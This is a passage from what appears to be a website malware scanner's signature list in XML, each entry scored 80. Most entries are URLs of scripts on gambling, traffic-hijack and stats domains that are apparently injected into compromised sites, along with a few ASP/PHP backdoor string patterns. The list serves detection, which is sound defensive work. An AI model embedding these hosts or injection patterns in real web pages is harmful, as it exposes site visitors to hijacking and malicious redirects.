            <ITEM>
                <STR>http://777.sa8999.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://955947.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://966947.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://bc.088234.com/muban/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://bc.2267888.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://bc.255667.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://bc.v5cx.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://billingchn.com/tj.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://chong.moguiruanjian.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[http://count21.51yes.com/click.aspx?id=214346876&logo=12]]></STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[http://count22.51yes.com/click.aspx?id=224783687&logo=1]]></STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[http://count25.51yes.com/click.aspx?id=254751652&logo=1]]></STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[http://count35.51yes.com/click.aspx?id=358243338&logo=1]]></STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[http://count50.51yes.com/click.aspx?id=509346372&logo=1]]></STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://dollar.aiwofacai.com/ll/tz3.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://dollar.aiwofacai.com/ll/tz8.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://down.9uvip.com/2013-1/mydown4.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://enoakley.sy-zy.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://fa57888.com/2014.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://geter.pw/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://gh5.710880.com/j.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://hy.168cnzz.com/cnl/j.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://hy.168cnzz.com/cnz/j.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://info.118tkw.net/hao/2014/new.gif</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://jc.dk90.com/game.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://jfpci.com/51.la.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.3bxc.com/h/h.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.3facai.com/js3.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.3facai.com/xm2.html</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.3facai.com/xm2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.3facai.com/ycx/ch.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.555hhh.com/4.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/116154252.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/15711966.js   </STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/15711967.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/15885296.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16235822.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16666327.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16670068.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16688518.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16767843.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16936002.js   </STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/17138832.js </STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/1966.js       </STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://liii.us/3.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://live.huangguan.co/qz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://ly.sinacnzz.com/qq/qq.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://ly.sinacnzz.com/yx/y.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/22.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/3.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/b.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/m.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/mz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/ooppoo888.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/plc.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/a/9.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/k/bb.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/k/offlinebcwr.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/k/offlinebcxa.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://money.ons72.com/liuhecai/js/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://n.xxtdata.com/js/tj.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://n.xxtdata.com/js/v2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://ok.ko699.com/baidu/liu/key/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://oppoo.pw/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://price.un.zhuna.cn/room.gbk.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://qianlai.cc/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://se.52hijack.com/jc/out.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://se.52hijack.com/jc/outs.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://seo.no93.com/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://sm.49wl.com/51.la.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://static.aoosou.com/v1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://sy.e7q0.com/qq4923600/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://sy.e7q0.com/qq4923600/zs.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://syw.i11.cc/qq4923600/zs.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.1990seo.com/bc.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.1990seo.com/mb/bc2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.cn/8FUS3lF</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.cn/8FmDqJk</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.cn/zRKYOXI</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.cn/zRxuwns</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.hz600.com/t.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://tz.yuedw.com/sy/6.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://url.cn/RJAXT4</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://v.4355v.info/a/main.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://v.ijsdata.com/js/tj.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://v.ijsdata.com/js/v2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.0012888.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.001sx.com/tz/zqad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.0034888.com/tj.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.068899.com/js/ad2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.077399.com/bctiaozhuan/zq2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.088456.com/muban/tj.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.1188588.com/mb/js1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.118jf.com/cqad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.1233321.com/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.2267888.com/mb/js2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.255667.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.259ons.com/bai/azjs/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.282283.com/qq/qq.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.333233.com/tz/666.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.334335.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.400378.com/boc/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.400378.com/liuh/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.4399555.com/xxt2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.45888888.com/cai/g.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.45888888.com/cai/l.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.494333.com/js/ad2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.502178.com/fa/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.502178.com/pan/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.502178.com/xh/tzadmin.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.5130555.com/js/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.54bao.com/okok808.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.552577.com/tj.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.55567888.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.55html.com/lh/1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.55html.com/md/1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.55html.com/pf/10.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.56568.org/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.56970120.net:8081/mb/js/ad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.577d.com/x.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.598222.com/722700.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.59wu.com/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.64266.com/seo/asp.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.734333.com/js/ad2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.770138.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.777656.com/1/123.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7956789.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7bcpj.info/51.la.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7bcpt.info/51.la.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7pkw.info/51.la.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7xjqp.com/51.la.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7zryl.com/51.la.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.800281.com/bjl/zs.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.81949.com/ddm/lhc.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.81949.com/ddm/lhc2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.81949.com/ddm/tyc.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.81949.com/ddm/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.878388.com/js/ad2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/0.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/520799.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/776600.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/d.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/ooppoo888.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/sjb.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/sjb1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/ym.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/9.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/bb.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/d.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/offlinebcwr.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/offlinebcxa.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/onlinebckd.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888seo.com/seo/a.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.8kyule.com/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.91672.com/js/a1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.94v587.com/include/js/hz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.955947.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.980970.com/098h/qige.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.980970.com/qige/qige.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.988947.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.99u2.com/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.9shici.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.aa789.cc/456.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ake88.com/fc/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ake88.com/jr/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.aobo777.com/ad/t.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.aomenxinpujing.pw/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.aqqing.com/cpa/ons.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.aqqing.com/link/link.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bao-ship.com/tz/zqad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bbgfw.com/tz/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bbgfw.com/wbtz/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bbgfw.com/wstz/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bc333.info/a.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bcka.pw/51.la.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bclk.pw/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bcwz.pw/51.la.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bczxw.pw/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bet365bjl.pw/51.la.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bobaopen.net/tongji/fckzx.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bobaopen.net/tongji/hgdedelx.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bosidao.pw/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bsjyulecheng.com/z/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.cc0777.com/mb/bc.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.cc0777.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.cc0777.com/tj.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.cfgsw.com/dl/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.com88888.com/408888.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.com88888.com/82888.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.com88888.com/89955.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.de88.net/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.dfmz123.com/cai/cai.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.dubaicai.com/tz/k.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.duyiba.org/js/bc1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.e23069.com/js1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.e23069.com/js1.js   </STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.fa56888.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.fcssqw.com/cai/l.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.go0qle.com/zq.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.handanrcw.com/ii/uu/tz1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.handanrcw.com/tz1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.hbyicheng.com/00448/fcm.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.hbyicheng.com/66671/fcm.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.huashi119.com/0401.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.huashi119.com/am.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.huashi119.com/dedecms.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.huashi119.com/hg.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.huashi119.com/lh.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.itsvo.com/jsbjle/tbjl.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.lezhongle.cc/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.lhc888666.com/fp-sc.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.nanbanzm.com/hm8z/fcm.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.nanbanzm.com/qw8z/fcm.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.novnov.com/js/six.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.sinacnzz.com/fc/c.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.sinacnzz.com/qq/qq.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.sjc9.com/js/jquery.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.smallsnews.com/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.t171.com/b8988/fcm.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.t171.com/w2w2/fcm.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.todubo.com/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ttbo777.info/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ttbo999.info/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ursec.net/index/aspcai/top.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ursec.net/index/aspliu/top.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ursec.net/index/aspzi/top.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ursec.net/index/phphe/top.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ursec.net/index/phpliao/top.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.vip-66.com/main/jquery.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.www6661222.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.www6661222.com/tj.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.xgscyd.com/facai/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.xinpaibcw.info/baidu.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.yibotianxia.com/adjs/2012ok.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.yifei.net/12.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.yifei.net/ming.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/cw/fzjf/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/cw/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/k/ceshi/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/k/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/t/fzkm/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/t/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc404.com/facai/l.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylg.pw/51.la.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.yundingyouhui.info/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.zubawang.com/niu/windy.gif</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.zxkh.net/kjs/top.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>ttwg.pw/mb/style.css</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[type=index.asp&host="&host_name&"&directory="&Branch_directory]]></STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[type=index.php&host=".$host_name."&directory=".$Branch]]></STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA["&Branch_directory_11&"."&Branch_directory_12&"."&Branch_directory_13&"."&Branch_directory_14&"."&Branch_directory_15&"."&Branch_directory_16]]></STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>users.51.la/17138832.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>www.0057888.com/mb/images/style.css</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>www.cc0777.com/mb/images/style.css</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>www6661222.com/mb/images/style.css</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>zzelle.com/mb/public/css/style.css</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://zq.anylm.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>api.qipaiwu.net/js/js.js</STR>
                <NUM>80</NUM>
